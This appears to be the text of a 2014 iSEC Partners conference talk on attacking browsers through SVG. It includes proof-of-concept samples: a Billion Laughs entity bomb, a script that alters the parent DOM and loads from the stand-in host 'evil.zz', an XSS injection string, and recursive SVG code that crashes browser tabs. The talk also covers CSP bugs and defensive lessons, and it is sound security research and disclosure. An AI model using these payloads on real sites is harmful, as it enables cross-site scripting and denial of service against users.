SVG

Exploiting Browsers without Image Parsing Bugs

Rennie deGraaf

iSEC Partners

07 August 2014
1. A brief introduction to SVG
   - What is SVG?
   - Using SVG with HTML
   - SVG features

2. Attacking SVG
   - Attack surface
   - Security model
   - Security model violations

3. Content Security Policy
   - A brief introduction
   - CSP Violations

4. Conclusion
What is SVG?

- **Scalable Vector Graphics**
- XML-based
- W3C ([http://www.w3.org/TR/SVG/](http://www.w3.org/TR/SVG/))
- Development started in 1999
- Current version is 1.1, published in 2011
- Version 2.0 is in development
- First browser with native support was Konqueror in 2004;
- IE was the last major browser to add native SVG support (in 2011)
A brief introduction to SVG

What is SVG?

A simple example

Source code

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
    xmlns="http://www.w3.org/2000/svg"
    width="68"
    height="68"
    viewBox="-34 -34 68 68"
    version="1.1">
    <circle
        cx="0"
        cy="0"
        r="24"
        fill="#c8c8c8"/>
</svg>
```
A simple example
As rendered
A simple example

I am not an artist.

DAMMIT JIM

I'm a
Security engineer

not an
Artist
Embedding SVG in HTML

- As a static image:
  - `img` tag
  - CSS resources (e.g., `background-image`)
- As a nested document
  - `object` tag
  - `embed` tag
  - `iframe` tag
- In-line
- `canvas` tag
SVG with CSS

In-line

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
  xmlns="http://www.w3.org/2000/svg"
  width="68"
  height="68"
  viewBox="-34 -34 68 68"
  version="1.1">
  <style>
    circle {fill: orange}
  </style>
  <circle 
    cx="0"
    cy="0"
    r="24"
    fill="#c8c8c8"/>
</svg>
```
<? xml version="1.0" encoding="UTF-8" standalone="no"?>
<?xml-stylesheet type="text/css" href="circle.css"?>
<svg xmlns="http://www.w3.org/2000/svg" width="68" height="68" viewBox="-34 -34 68 68" version="1.1">
  <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>
</svg>
SVG with CSS

As rendered

(a) Without CSS

(b) With CSS
A brief introduction to SVG

SVG features

SVG with JavaScript

In-line

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
 xmlns="http://www.w3.org/2000/svg"
 width="68"
 height="68"
 viewBox="-34 -34 68 68"
 version="1.1">
  <script>
    window.onload = function() {
      document.getElementsByTagName("circle")[0].style.stroke = "red";
      document.getElementsByTagName("circle")[0].style.strokeWidth = "2";
    }
  </script>
  <circle
cx="0"
cy="0"
r="24"
fill="#c8c8c8"/>
</svg>
```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
    xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink"
    width="68"
    height="68"
    viewBox="-34 -34 68 68"
    version="1.1">
    <script type="text/javascript" xlink:href="circle.js"></script>
    <circle
        cx="0"
        cy="0"
        r="24"
        fill="#c8c8c8"/>
</svg>
SVG with JavaScript

As rendered

(a) Without JavaScript

(b) With JavaScript
SVG with an external image

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
    xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink"
    width="68"
    height="68"
    viewBox="-34 -34 68 68"
    version="1.1">
    <circle
        cx="0"
        cy="0"
        r="24"
        fill="#c8c8c8"/>
    <image x="0" y="0" width="34" height="34" xlink:href="circle-image.svg"/>
</svg>
```
SVG with an external image

As rendered

(a) Normal

(b) With an external image
SVG with embedded HTML

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xhtml="http://www.w3.org/1999/xhtml"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
   <circle
      cx="0"
      cy="0"
      r="24"
      fill="#c8c8c8"/>
   <foreignObject x="0" y="0" width="34" height="34">
      <xhtml:xhtml>
         <xhtml:head>
            <xhtml:style>
               document, body, img { padding: 0px; margin: 0px; border: 0px; }
            </xhtml:style>
         </xhtml:head>
         <xhtml:body>
            <xhtml:object width="34" height="34" type="image/svg+xml" data="circle.svg">circle</xhtml:object>
         </xhtml:body>
      </xhtml:xhtml>
   </foreignObject>
</svg>
```
SVG with embedded HTML

As rendered

(a) Normal

(b) With another SVG embedded inside HTML in a foreignObject
Since SVG can do pretty much everything that HTML can do, the attack surface is very similar:

- XML attacks (Billion Laughs, etc.)
- DOM attacks
- XSS
- Etc.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
[

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

<svg xmlns="http://www.w3.org/2000/svg"
     width="68"
     height="68"
     viewBox="-34 -34 68 68"
     version="1.1">

  <circle cx="0"
         cy="0"
         r="24"
         fill="#c8c8c8"/>

  <text x="0" y="0" fill="black">&lol9;</text>

</svg>
Billion Laughs
Chrome

This page contains the following errors:
error on line 26 at column 24: Detected an entity reference loop

Below is a rendering of the page up to the first error.
Billion Laughs
Firefox

XML Parsing Error: recursive entity reference
Location: http://svg.test/circle-lol.svg
Line Number 26, Column 40:

<text x="0" y="0" fill="black">&lol9;</text>
------------------------------------------^
Attacking the DOM

Innocent HTML

```html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>Same-origin SVG</h1>
    <div style="border: 1px solid black">
      <object data="harmless.svg" type="image/svg+xml"
              width="68" height="68">
        <a href="harmless.svg">...<a/>
      </object>
    </div>
  </body>
</html>
```
Attacking the DOM

As rendered

Same-origin SVG
Attacking the DOM

Malicious SVG

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
   <script>
      var elmt = top.document.createElement("img");
      elmt.src = "http://evil.zz/pwned.png"
      elmt.style.position = "absolute";
      elmt.style.top = "0";
      elmt.style.left = "0";
      top.document.body.appendChild(elmt);
   </script>
   <circle
      cx="0"
      cy="0"
      r="24"
      fill="#c8c8c8"/>
</svg>
```
Attacking the DOM

Results

Same-origin SVG

PWNED!
<?php
header("Content-type: image/svg+xml");
echo "<?xml version="1.0" encoding="UTF-8" standalone="no"?>"
?>
<svg
    xmlns="http://www.w3.org/2000/svg"
    width="68"
    height="68"
    viewBox="-34 -34 68 68"
    version="1.1">
    <circle
        cx="0"
        cy="0"
        r="24"
        fill="<?php echo $_GET['colour']; ?>"/>
</svg>
**XSS**

**Results**

(a) http://svg.test/circle-xss.svg.php?colour=blue

(b) http://svg.test/circle-xss.svg.php?colour="/"><script>alert(/pwnt!/);-
</script>
Security model

- SVG loaded as static images are treated like other image formats:
  - External resources (stylesheets, scripts, other images, etc.) are not loaded.
  - Scripts are never executed.
  - Internal stylesheets and data URIs are allowed.

- SVG loaded as nested documents are treated just like HTML:
  - External resources are loaded.
  - Scripts are executed.
  - Same-Origin Policy applies.
  - Sandboxed iframes disable script execution
  - Browsers must never load a document as a child of itself.
Internet Explorer always loads external CSS

Source

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8"/>
</head>
<body>
<h1>SVG with external CSS</h1>
<div style="border: 1px solid black">
  <img src="circle-css-external.svg" alt="circle"/>
</div>
</body>
</html>
```

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<?xml-stylesheet type="text/css" href="circle.css"?>
<svg xmlns="http://www.w3.org/2000/svg" width="68" height="68" viewBox="-34 -34 68 68" version="1.1">
  <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>
</svg>
```
Internet Explorer always loads external CSS

Results

(a) Chrome

(b) Internet Explorer
Chrome loads cross-origin CSS

Source

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8"/>
</head>
<body>
  <h1>Cross-origin SVG with external CSS</h1>
  <div style="border: 1px solid black">
    <img src="circle-css-cross-domain.svg" width="68" height="68" alt="circle"/>
  </div>
</body>
</html>
```
Chrome loads cross-origin CSS

Results

Cross-origin SVG with external CSS

(a) Firefox

Cross-origin SVG with external CSS

(b) Chrome

Chrome bug 384527\(^1\); fixed in Chromium build 277444

\(^1\)https://code.google.com/p/chromium/issues/detail?id=384527
Internet Explorer always loads external images

Source

```html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>SVG that loads another SVG</h1>
    <div style="border: 1px solid black">
      <img src="recurse1.svg" width="68" height="68" alt="circle"/>
    </div>
  </body>
</html>
```
Internet Explorer always loads external images

Results

(a) Chrome

(b) Internet Explorer

Reported to Microsoft; “Not a security bug”.
Recursion

We get SVGnal. Main SVGeen turn on.

MECHANIC: SOMEBODY SVG UP US THE BOMB.
Browsers’ checks for recursive documents are based on the URI. So as long as the URI changes at every iteration, we can make a recursive document.

The query string is part of the URI, but is ignored by HTTP file servers.

To change the query string at every iteration, we need scripting.

We can’t use `svg:image` because that doesn’t run scripts, so we use `html:object` inside `svg:foreignObject`.

Internet Explorer doesn’t render `svg:foreignObject`, but IE does run scripts and load external documents inside it!

Recursion

Code

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml"
     width="68" height="68" viewBox="-34 -34 68 68" version="1.1">
    <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>
    <foreignObject x="0" y="0" width="34" height="34">
        <xhtml:xhtml>
            <xhtml:head>
                <xhtml:script>
                    window.onload = function() {
                        var query = "?" + (parseInt(document.location.search.split("?")[1]) + 1)
                        var obj = document.getElementsByTagName("object")[0];
                        obj.setAttribute("data", document.location.protocol + "://" +
                            document.location.host + document.location.pathname + query);
                    }
                </xhtml:script>
            </xhtml:head>
            <xhtml:body>
                <xhtml:object width="34" height="34" type="image/svg+xml"
                    data="recursive-foreignobject.svg">circle</xhtml:object>
            </xhtml:body>
        </xhtml:xhtml>
    </foreignObject>
</svg>
```
Recursion
As rendered in Firefox

Firefox stops at 10 iterations.
Recursion
As rendered in Chrome

Chrome bug 383180\(^3\): tab crash after ~241 iterations.

\(^3\)https://code.google.com/p/chromium/issues/detail?id=383180
Recursion
As rendered in Internet Explorer

Tab crash in IE 11 and 12 DC1 after >4000 iterations.

Reported to Microsoft; “Not a security bug”.

Attacking SVG Security model violations
Recursion
IE and image

```javascript
var http = require('http');
var svg = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>
  <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
    width="68" height="68" viewBox="-34 -34 68 68" version="1.1">
    <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>
    <image x="34" y="34" width="34" height="34" xlink:href="REPLACE"/>
  </svg>

http.createServer(function(request, response) {
  var num = parseInt(request.url.substr(1))
  if (isNaN(num)) {
    response.writeHead(400, {'Content-Type': 'text/plain'});
    response.end();
  } else {
    response.writeHead(200, {'Content-Type': 'image/svg+xml'});
    console.log(num);
    response.end(svg.replace("REPLACE", "+(num+1))"));
  }
}).listen(8000);
```
Recursion
As rendered in IE

IE 11 and 12 DC1 run >250,000 iterations before crashing, which takes a while.

Reported to Microsoft; “Not a security bug”.

Attacking SVG
Security model violations

Rennie deGraaf (iSEC Partners)
Content Security Policy

An introduction

- Exploit mitigation system.
- Policies restrict the allowed sources for scripts, styles, images, etc. Resources may only come from white-listed origins.
- Blocks mixed content: eval, in-line scripts and styles, data: URIs, etc.
- Can be used to restrict content to https: URIs.
- Sent by the server in Content-Security-Policy headers; enforced by the browser.
- More information:
Content Security Policy

An example

Content-Security-Policy: default-src 'none'; script-src 'self';
style-src 'self'; img-src 'self' data: http://images.svg.test;
object-src 'self' http://images.svg.test; frame-src 'self'
http://images.svg.test;

- Defaults to not allowing content from any source.
- Scripts and styles are only allowed from external files at the same origin.
- Static images are allowed from data: URIs, from files at the same origin, and from files at http://nocsp.svg.test.
- Objects and frames are allowed from the same origin and from http://nocsp.svg.test.
- Media (audio, video), fonts, and connections (XMLHttpRequest, WebSockets, etc.) are not allowed on any origin.
Content Security Policy
Why you should use it

- Think ASLR+DEP for web apps.
- It’s hard to get XSS if the browser will only execute scripts from white-listed static documents and eval is banned globally.
- Firefox and Chrome have supported it for a while. It’s “in development” for IE 12.⁴
- A lot of web frameworks like to mix content, scripts, and styles, so get started on separating them as soon as possible.
- It also applies to SVG!

⁴http://status.modern.ie/contentsecuritypolicy
Chrome style-src violation

When an SVG with in-line CSS is loaded with style-src 'self' from a static image context, the CSS is applied contrary to the CSP.⁵

Mozilla Firefox

SVG with in-line CSS

Content-Security-Policy: default-src 'none'; img-src 'self';
Expected: CSS blocked by style-src.

Chrome

SVG with in-line CSS

Content-Security-Policy: default-src 'none'; img-src 'self';
Expected: CSS blocked by style-src.

(a) Firefox

(b) Chrome

Chrome bug 378500. No action since 30 May.

⁵https://code.google.com/p/chromium/issues/detail?id=378500
Either frame-src and object-src apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies *both* object-src and frame-src to HTML object and embed tags, rather than only object-src.\(^6\)

\(^6\)https://code.google.com/p/chromium/issues/detail?id=400840
frame-src vs. object-src

object-src 'none'; frame-src 'self'

Either frame-src and object-src apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies both object-src and frame-src to HTML object and embed tags, rather than only object-src.7

7https://code.google.com/p/chromium/issues/detail?id=400840
frame-src vs. object-src

object-src 'self'; frame-src 'self'

Either frame-src and object-src apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies both object-src and frame-src to HTML object and embed tags, rather than only object-src.\(^8\)

---

\(^8\)https://code.google.com/p/chromium/issues/detail?id=400840
Sandboxed iframes in Chrome

Chrome doesn’t apply style-src correctly to sandboxed iframes.

(a) Firefox

(b) Chrome
Other issues

- Firefox did not properly apply CSP to sandboxed iframes prior to version 28.0. It is still not properly applied in the Firefox 24 ESR branch.\(^9\) This appears to have been due to wider problems with sandboxed iframes.

- Both Chrome\(^{10}\) and Firefox\(^{11}\) display in-line SVG even under the CSP `img-src: none`. There does not appear to be agreement on whether an in-line SVG is an image or something else. My position is that since `data:` URIs can be blocked using `img-src`, in-line SVG should be blockable as well.

- `style-src` didn’t prevent Chrome from incorrectly loading cross-origin stylesheets from static image SVGs.\(^{12}\)

---

9. [https://bugzilla.mozilla.org/show_bug.cgi?id=1018310](https://bugzilla.mozilla.org/show_bug.cgi?id=1018310)
11. [https://bugzilla.mozilla.org/show_bug.cgi?id=1018310](https://bugzilla.mozilla.org/show_bug.cgi?id=1018310)
Lessons to be learned

- Treat SVG like you would HTML, not like you would PNG.
- Never load untrusted SVG as an object or iframe from the same origin as trusted content.
- Major browsers still have issues correctly enforcing web security rules.
- CSP is your friend. Use it. Even if you can’t use it right away, design new code to be CSP-compatible.
Future work

- Mobile browsers
- Different CSPs on HTML and embedded SVG
- SVG 2.0: iframe and canvas and other fun stuff?
- SVG’s use element and anything else that takes a URI argument
- IE12’s CSP implementation
More information

- HTML 5: http://www.w3.org/TR/html5/Overview.html
- SVG as a static image:
- Integrating SVG with other stuff:
  http://www.w3.org/TR/2014/WD-svg-integration-20140417/
QUESTIONS?
HTTPS://WWW.ISECPARTNERS.COM
HTTP://ISECPARTNERS.GITHUB.IO